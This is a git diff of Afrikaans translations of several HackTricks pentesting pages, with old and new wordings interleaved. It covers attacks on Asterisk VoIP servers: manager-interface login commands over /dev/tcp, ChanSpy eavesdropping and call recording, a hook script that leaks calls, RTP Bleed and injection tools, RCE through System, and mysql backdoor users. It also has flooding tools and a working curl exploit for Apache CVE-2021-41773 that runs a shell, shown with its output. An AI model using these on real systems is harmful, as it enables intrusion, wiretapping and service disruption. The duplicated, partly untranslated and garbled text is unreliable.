'n Algemene Asterisk-profiel hiervoor is:
```scss
[web_user]
secret = complex_password
@ -507,27 +507,29 @@ displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* Die vorige profiel laat **ENIGE IP-adres toe om te koppel** (as die wagwoord bekend is).
* Om **'n oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig** en slegs **oorsprong** in **skryf** is nodig.
* Die vorige profiel laat **ENIGE IP adres toe om te verbind** (as die wagwoord bekend is).
* Om **'n oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **oorsprong** in **skryf** is nodig.
Met daardie regte kan enige IP-adres wat die wagwoord ken, koppel en te veel inligting onttrek, soos:
Met daardie regte kan enige IP wat die wagwoord ken verbind en te veel inligting onttrek, soos:
{% code overflow="wrap" %}
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
{% endcode %}
**Meer inligting of aksies kan versoek word.**
**Meer inligting of aksies kan aangevra word.**
### **Afluistering**
### **Afluister**
In Asterisk is dit moontlik om die bevel **`ChanSpy`** te gebruik wat die **uitbreiding(e) om te monitor** (of almal) aandui om gesprekke wat plaasvind, te hoor. Hierdie bevel moet toegewys word aan 'n uitbreiding.
In Asterisk is dit moontlik om die opdrag **`ChanSpy`** te gebruik wat die **verlenging(e) om te monitor** (of al die verlengings) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word.
Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **uitbreiding 333** **skakel**, dit **alle** die uitbreidings **sal monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stille modus (**`q`**) aangesien ons nie daarmee wil interageer nie. Jy kan van die een gesprek na die ander gaan deur op **`*`** te druk, of deur die uitbreidingsnommer te merk.
Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verlenging 333** **bel**, dit **alle** verlengings sal **monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stilmodus (**`q`**) aangesien ons nie wil interaksie hê nie. Jy kan van een gesprek na 'n ander beweeg deur **`*`** te druk, of deur die verlenging nommer te merk.
Dit is ook moontlik om **`ExtenSpy`** te gebruik om slegs een uitbreiding te monitor.
Dit is ook moontlik om **`ExtenSpy`** te gebruik om slegs een verlenging te monitor.
In plaas van om na die gesprekke te luister, is dit moontlik om hulle in lêers **op te neem** deur 'n uitbreiding soos die volgende te gebruik:
In plaas daarvan om die gesprekke te luister, is dit moontlik om **hulle in lêers op te neem** deur 'n verlenging soos:
{% code overflow="wrap" %}
```scss
@ -537,90 +539,90 @@ exten => _X.,2,MixMonitor(${NAME})
```
{% endcode %}
Oproepe sal gestoor word in **`/tmp`**.
Telefons is in **`/tmp`** gestoor.
Jy kan selfs Asterisk 'n skrip laat uitvoer wat die oproep **lek** wanneer dit gesluit word.
Jy kan ook Asterisk **'n skrip laat uitvoer wat die oproep sal lek** wanneer dit gesluit word.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed kwetsbaarheid
### RTCPBleed kwesbaarheid
**RTCPBleed** is 'n groot sekuriteitsprobleem wat Asterisk-gebaseerde VoIP-bedieners affekteer (gepubliseer in 2017). Die kwetsbaarheid maak dit moontlik vir **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke vervoer, om deur enigiemand op die Internet **onderskep en omgelei te word**. Dit gebeur omdat RTP-verkeer verifikasie omseil wanneer dit deur NAT (Network Address Translation) vuurmuure navigeer.
**RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **deur enige iemand op die Internet geïntercepteer en hergerig te word**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.
RTP-proksi's probeer om **NAT-beperkings** wat RTC-stelsels affekteer, aan te spreek deur RTP-strome tussen twee of meer partye te proksi. Wanneer NAT in plek is, kan die RTP-proksi sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur seinering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proksi's 'n meganisme geïmplementeer waar die **IP- en poorttuplet outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te ondersoek en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een waarop geantwoord moet word. Hierdie meganisme, wat "leermodus" genoem kan word, **maak nie gebruik van enige vorm van verifikasie nie**. Daarom kan **aanvallers** RTP-verkeer na die RTP-proksi **stuur en die geprokseerde RTP-verkeer ontvang wat bedoel is vir die oeper of ontvanger van 'n aan die gang synde RTP-stroom**. Ons noem hierdie kwetsbaarheid RTP Bleed omdat dit aanvallers in staat stel om RTP-mediastrome te ontvang wat bedoel is om na wettige gebruikers gestuur te word.
RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels beïnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poortkombinasies outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat "leer-modus" genoem kan word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.
'n Ander interessante gedrag van RTP-proksi's en RTP-stelsels is dat hulle soms, **selfs as hulle nie vatbaar is vir RTP Bleed nie**, **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in te spuit in plaas van die wettige een. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome moontlik maak. Hierdie kwetsbaarheid kan in beide RTP-proksi's en eindpunte gevind word.
'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat hulle soms, **selfs al is hulle nie kwesbaar vir RTP Bleed nie**, **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.
Asterisk en FreePBX het tradisioneel die **`NAT=yes` instelling** gebruik, wat dit moontlik maak vir RTP-verkeer om verifikasie te omseil, wat moontlik lei tot geen klank of eenrigtingklank in oproepe.
Asterisk en FreePBX het tradisioneel die **`NAT=yes` instelling** gebruik, wat RTP-verkeer toelaat om outentisering te omseil, wat moontlik lei tot geen klank of eenrigting-klank op oproepe nie.
Vir meer inligting besoek [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
Vir meer inligting, kyk na [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`SIPPTS rtpbleed`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed ontdek die RTP Bleed kwetsbaarheid deur RTP-strome te stuur.
* **`SIPPTS rtpbleed`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detecteer die RTP Bleed kwesbaarheid deur RTP-strome te stuur.
```bash
sippts rtpbleed -i 10.10.0.10
```
* **`SIPPTS rtcpbleed`** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed ontdek die RTP Bleed kwesbaarheid deur RTCP-strome te stuur.
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecteer die RTP Bleed kwesbaarheid deur RTCP-strome te stuur.
```bash
sippts rtcpbleed -i 10.10.0.10
```
* **`SIPPTS rtpbleedflood`** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood benut die RTP Bleed kwetsbaarheid deur RTP-strome te stuur.
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood benut die RTP Bleed kwesbaarheid deur RTP strome te stuur.
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
* **`SIPPTS rtpbleedinject`** vanaf [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject benut die RTP Bleed kwetsbaarheid deur 'n klanklêer (WAV-formaat) in te spuit.
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject benut die RTP Bleed kwesbaarheid deur 'n klanklêer (WAV-formaat) in te spuit.
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
In Asterisk slaag jy daarin om op een of ander manier **bykomende uitbreidingsreëls by te voeg en hulle te herlaai** (byvoorbeeld deur 'n kwesbare webbestuurderserver te kompromiteer), is dit moontlik om RCE te kry deur die **`System`** bevel te gebruik.
In Asterisk slaag jy op een of ander manier daarin om **uitbreidingsreëls by te voeg en dit te herlaai** (byvoorbeeld deur 'n kwesbare webbestuurder bediener te kompromitteer), dit is moontlik om RCE te verkry met behulp van die **`System`** opdrag.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
Daar is 'n bevel genaamd **`Shell`** wat gebruik kan word **in plaas van `System`** om stelselopdragte uit te voer indien nodig.
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %}
As die bediener die gebruik van sekere karakters in die **`System`** bevel verbied (soos in Elastix), kontroleer of die webbediener toelaat om op een of ander manier lêers binne die stelsel te **skep** (soos in Elastix of trixbox), en gebruik dit om 'n agterdeur-skrip te **skep** en gebruik dan **`System`** om daardie **skrip** uit te **voer**.
As die bediener **die gebruik van sekere karakters** in die **`System`** opdrag (soos in Elastix) **verbied**, kyk of die webbediener toelaat om **lêers op een of ander manier binne die stelsel te skep** (soos in Elastix of trixbox), en gebruik dit om **'n backdoor-skrip te skep** en gebruik dan **`System`** om daardie **skrip** te **voer**.
{% endhint %}
#### Interessante plaaslike lêers en regte
#### Interessante plaaslike lêers en toestemmings
* **`sip.conf`** -> Bevat die wagwoord van SIP-gebruikers.
* As die **Asterisk-bedieners as root hardloop**, kan jy root kompromitteer
* **mysql root-gebruiker** het moontlik **geen wagwoord nie**.
* dit kan gebruik word om 'n nuwe mysql-gebruiker as agterdeur te skep
* **`sip.conf`** -> Bevat die wagwoord van SIP gebruikers.
* As die **Asterisk bediener as root loop**, kan jy root in gevaar stel.
* **mysql root gebruiker** mag **geen wagwoord hê** nie.
* dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep.
* **`FreePBX`**
* **`amportal.conf`** -> Bevat die wagwoord van die webpaneel-administrateur (FreePBX)
* **`FreePBX.conf`** -> Bevat die wagwoord van die gebruiker FreePBXuser wat gebruik word om toegang tot die databasis te verkry
* dit kan gebruik word om 'n nuwe mysql-gebruiker as agterdeur te skep
* **`amportal.conf`** -> Bevat die wagwoord van die webpaneel administrateur (FreePBX).
* **`FreePBX.conf`** -> Bevat die wagwoord van die gebruiker FreePBXuser wat gebruik word om toegang tot die databasis te verkry.
* dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep.
* **`Elastix`**
* **`Elastix.conf`** -> Bevat verskeie wagwoorde in die teks soos mysql root-wagwoord, IMAPd-wagwoord, web-admin-wagwoord
* **Verskeie vouers** sal aan die gekompromitteerde asterisk-gebruiker behoort (as dit nie as root hardloop nie). Hierdie gebruiker kan die vorige lêers lees en ook die konfigurasie beheer, sodat hy Asterisk kan dwing om ander agterdeur-binêre lêers te laai wanneer dit uitgevoer word.
* **`Elastix.conf`** -> Bevat verskeie wagwoorde in duidelike teks soos mysql root wagwoord, IMAPd wagwoord, web admin wagwoord.
* **Verskeie vouers** sal aan die gecompromitteerde asterisk gebruiker behoort (as dit nie as root loop nie). Hierdie gebruiker kan die vorige lêers lees en beheer ook die konfigurasie, so hy kan Asterisk laat laai ander backdoored binaries wanneer dit uitgevoer word.
### RTP-inspuiting
### RTP Inspuiting
Dit is moontlik om 'n **`.wav`** in gesprekke in te voeg met behulp van gereedskap soos **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) en **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke te skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **geraas in 'n gesprek in te voeg** (**`rtpflood.pl`**).
Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke te skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **ruis** in 'n gesprek in te voeg (**`rtpflood.pl`**).
### DoS
Daar is verskeie maniere om DoS in VoIP-bedieners te probeer bereik.
Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik.
* **`SIPPTS-vloed`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS-vloed stuur onbeperkte boodskappe na die teiken.
* **`SIPPTS flood`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood stuur onbeperkte boodskappe na die teiken.
* `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping maak 'n SIP-ping om die bediener se responstyd te sien.
* **`SIPPTS ping`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping maak 'n SIP ping om die bediener se reaksietyd te sien.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX-protokol wat deur Asterisk gebruik word
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE-boodskappe oor UDP/IP te vloed.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed geformuleerde RTP-pakkette. Dit is nodig om die RTP-poorte te ken wat gebruik word (sniff eers).
* [**SIPp**](https://github.com/SIPp/sipp): Laat toe om SIP-verkeer te analiseer en te genereer. sodat dit ook gebruik kan word vir DoS.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP Swiss-armmes. Kan ook gebruik word vir SIP-aanvalle.
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word.
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP-pakkette. Dit is nodig om die RTP-poorte wat gebruik word te ken (sniff eers).
* [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP-verkeer te analiseer en te genereer, so dit kan ook gebruik word om DoS te doen.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse lewensreddingsboei. Kan ook gebruik word om SIP-aanvalle uit te voer.
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### OS-kwesbaarhede
### OS Kw vulnerabilities
Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS-verspreiding** te aflaai wat dit reeds geïnstalleer het, soos: **FreePBX, Elastix, Trixbox**... Die probleem met daardie is dat as dit werk, kan stelseladministrateurs dit dalk **nie weer opdateer nie** en **kwesbaarhede** gaan met tyd ontdek word.
Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS verspreiding** af te laai wat dit reeds geïnstalleer het, soos: **FreePBX, Elastix, Trixbox**... Die probleem met hierdie is dat sodra dit werk, mag stelselsadministrateurs **dit nie weer opdateer nie** en **kw vulnerabilities** sal met tyd ontdek word.
## Verwysings
@ -631,16 +633,17 @@ Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS-
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,34 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>
Vind kwesbaarhede en verkeerde konfigurasies met [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
{% hint style="success" %}
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Vind kwesbaarhede en misconfigurasies met [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
{% hint style="success" %}
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Uitvoerbare PHP-uitbreidings
# Uitvoerbare PHP uitbreidings
Kyk watter uitbreidings die Apache-bediener uitvoer. Om dit te soek, kan jy uitvoer:
Kyk watter uitbreidings die Apache bediener uitvoer. Om hulle te soek kan jy uitvoer:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Ook, sommige plekke waar jy hierdie konfigurasie kan vind is:
Ook, sommige plekke waar jy hierdie konfigurasie kan vind, is:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -27,53 +28,22 @@ Ook, sommige plekke waar jy hierdie konfigurasie kan vind is:
/etc/apache2/mods-enabled/php7.3.conf
```
# CVE-2021-41773
## Oorsig
CVE-2021-41773 is 'n kwesbaarheid wat gevind is in Apache HTTP Server. Dit maak dit moontlik vir 'n aanvaller om 'n aanval uit te voer en toegang te verkry tot die inhoud van 'n willekeurige lêer op die bediener.
## Beskrywing
Hierdie kwesbaarheid word veroorsaak deur 'n fout in die manier waarop die Apache HTTP Server omgaan met die verwerking van 'n spesifieke soort versoek. Wanneer 'n aanvaller 'n spesiale HTTP-versoek stuur na 'n Apache-bediening, kan dit lei tot die uitvoering van 'n padtraversering-aanval.
'n Padtraversering-aanval maak dit moontlik vir 'n aanvaller om toegang te verkry tot lêers en mappe wat buite die beoogde roete van die webtoepassing lê. In die geval van CVE-2021-41773 kan 'n aanvaller dus toegang verkry tot enige lêer op die bediener, insluitend gevoelige inligting soos konfigurasie-lêers, databasislêers en ander vertroulike data.
## Impak
As 'n aanvaller suksesvol is in die uitbuiting van hierdie kwesbaarheid, kan dit lei tot ernstige gevolge, insluitend:
- Blootstelling van gevoelige inligting
- Verlies van vertroulike data
- Potensiële skending van privaatheid
- Moontlike aanvalle op ander stelsels wat afhanklik is van die Apache-bediening
## Aanbevelings
Om die risiko van uitbuiting van hierdie kwesbaarheid te verminder, word die volgende aanbevelings gemaak:
- **Opgradering**: Installeer die nuutste weergawe van Apache HTTP Server, waarin hierdie kwesbaarheid reggestel is.
- **Pakketbestuurder**: As jy Apache HTTP Server gebruik wat deur 'n pakketbestuurder soos apt of yum verskaf word, verseker dat jy die nuutste opdaterings geïnstalleer het.
- **Toegangsbeheer**: Beperk die toegang tot die Apache-bediening tot vertroude gebruikers en IP-adresse.
- **Webtoepassing-sekuriteit**: Implementeer veilige programeringspraktyke en toepassingsvlak-sekuriteitsmaatreëls om die risiko van padtraversering-aanvalle te verminder.
## Verwysings
- [Apache Security Advisory](https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2021-41773)
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
